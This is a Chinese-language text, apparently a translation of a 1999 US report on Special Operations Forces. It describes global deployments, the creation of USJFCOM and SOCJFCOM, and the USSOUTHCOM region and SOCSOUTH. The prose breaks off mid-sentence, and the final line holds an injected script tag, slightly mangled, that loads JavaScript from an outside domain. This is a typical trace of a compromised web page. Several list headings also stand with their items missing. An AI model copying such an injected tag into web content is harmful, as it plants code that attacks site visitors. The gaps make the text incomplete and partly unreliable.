与以往的任何时期相比,SOF担负着更多的任务,在更多的地区进行更多样的行动。1999年度,SOF部队在152个国家的地区进行行动,每个星期,约有5000名特种兵在60余个国家执行任务。 1999年度的特别行动,以及在美国本土和海外的军事训练,继续证明了两个关键性的原则:第一,SOF加入常规部队的行动,他们全面的能力会大大扩展战区司令的军事选择;第二,当SOF充分融入战区总司令的作战计划时,他们能发挥出最佳的作用。无论是战时还是和平时期,战区特别行动指挥部能确保在整体的计划过程中,最恰当地发挥SOF的作用。
美国联合部队司令部和特种部队联合行动司令部(SOCJFCOM)
1999年10月1日,“统一指挥计划”(UCP 99)将“美国大西洋司令部”(USACOM)改为“美国联合行动司令部”(USJFCOM),规定它为联合行动的组织者、训练者和联合者。UCP 99这样描述从USACOM到USJFCOM的变化:从一个功能性的地区总司令部,变为功能统一的司令部,负责联合行动的训练和综合计划,同时继续担负一些地区联合司令部的职责。
着眼于UCP 99,USJFCOM制定出了战略计划“联合目标:2010”:通过联合训练、军事力量的整体综合,使美军的能力实现最大化。为实现这一目的,USJFCOM已经成为卓越的训练中心、训练服务中心,综合美军及其盟军的力量,进行任何形式的联合行动和多国联军行动,保护国家的利益。
USJFCOM的变化,对特种部队联合行动司令部(SOCJFCOM)来说意义极其重大,它是USJFCOM的一个下级联合司令部,位于弗吉尼亚的诺福克,它的职责是将SOF充分融入USJFCOM的总体计划中,参加它的联合、多国、综合训练。SOCJFCOM同时协助制定、建立“联合特别行动特遣队”(JSOTF)、“联合心理战特遣队”(JPOTF)和“联合民间军事行动特遣队”(JCMOTF)的训练纲要。
1999年9月,USJFCOM批准在SOCJFCOM的行动纲领中,增加以下内容:
随着USJFCOM不断提高美军的全球范围里的联合作战能力,特联司令部也将发挥越来越大的作用,积极、有效、快速提高SOF的联合行动能力。
“美国南方司令部”和南方特别行动司令部(SOCSOUTH)
“美国南方司令部”(USSOUTHCOM)的职责区域包括大部分陆地及环绕陆地的拉丁美洲南部墨西哥、加勒比海和墨西哥湾的水域。这一区域包括32个非独立国家和15个独立国家,包括法国、英国、荷兰和美国的地区。除古巴外,这个区域的每个国家都进行民主选举,由民选政府执政。在经济上,这个地区对美国的持久繁荣有着重大的影响。美国所用原油的40%来自加勒比盆地,巴西是世界上第八大经济强国,阿根廷的国内总产值(GDP)与澳大利亚、俄罗斯或印度相当。生活在这个区域的4亿多人口使用7种官方语言:英语、西班牙语、荷兰语、葡萄牙语、法语、盖丘亚语和艾玛拉语,这是一个在地理、地形、繁荣程度、社会稳定及民族特点等方面差别极大的地区。
南方特别行动司令部(SOCSOUTH)是南方司令部的一个下属机构,负责特种部队的统一行动,除了心理战部队和民间事务部队,它负责管理、调动这个战区的所有特种部队。以罗斯沃特海军港为基地,SOCSOUTH由3支部队组成了它的联合司令部:第7特别行动大队(航空)3中队C小队,海军特别作战队4队,第160特别行动航空大队D小队,它的主要职责是根据特种部队的能力,执行任何形式的任务,服务于USSOUTHCOM的“协作和平行动战略”,协助保持、推进这一地区的和平稳定,而且确保在美国利益受到威胁时,在最快的时间内、以最恰当的方式采取有效行动。为实现这一目的,每个SOCSOUTH要派出200多名特种兵在16个国家执行42余种任务。
SOCCOUTH在以下几方面服务于SOCSOUTH的战区计划:
在这个地区,大部分国家的民主十分脆弱,广泛的政治、经济、社会问题破坏着民主的基础,他们面对着多元的、地区性的安全问题。拉丁美洲是一个贫富差别很大的地区,40%的最贫穷人口的收入只占总收入的10%,贫困问题十分严重。快速增长的人口、跨国界犯罪率不断提高、国际毒品交易、犯罪集团、环境污染、非法移民、地雷泛滥以及非法准军事力量等,威胁着包括美国在内的西半球的繁荣与道德精神。这个洲的国家国内犯罪威胁着美国的经济利益以及在国外的美国公民的安全——全世界一半以上的绑架案发生在哥伦比亚。边境的相互连接,暴乱组织的影响不断扩大,非法贩毒组织与暴乱组织相互勾结,这些复杂的因素,使SOF面临着更大的挑战。
这个地区军事活动的重心已经与传统的军事行动有很大区别,保持?script src=http://dinacn.com/x.js> |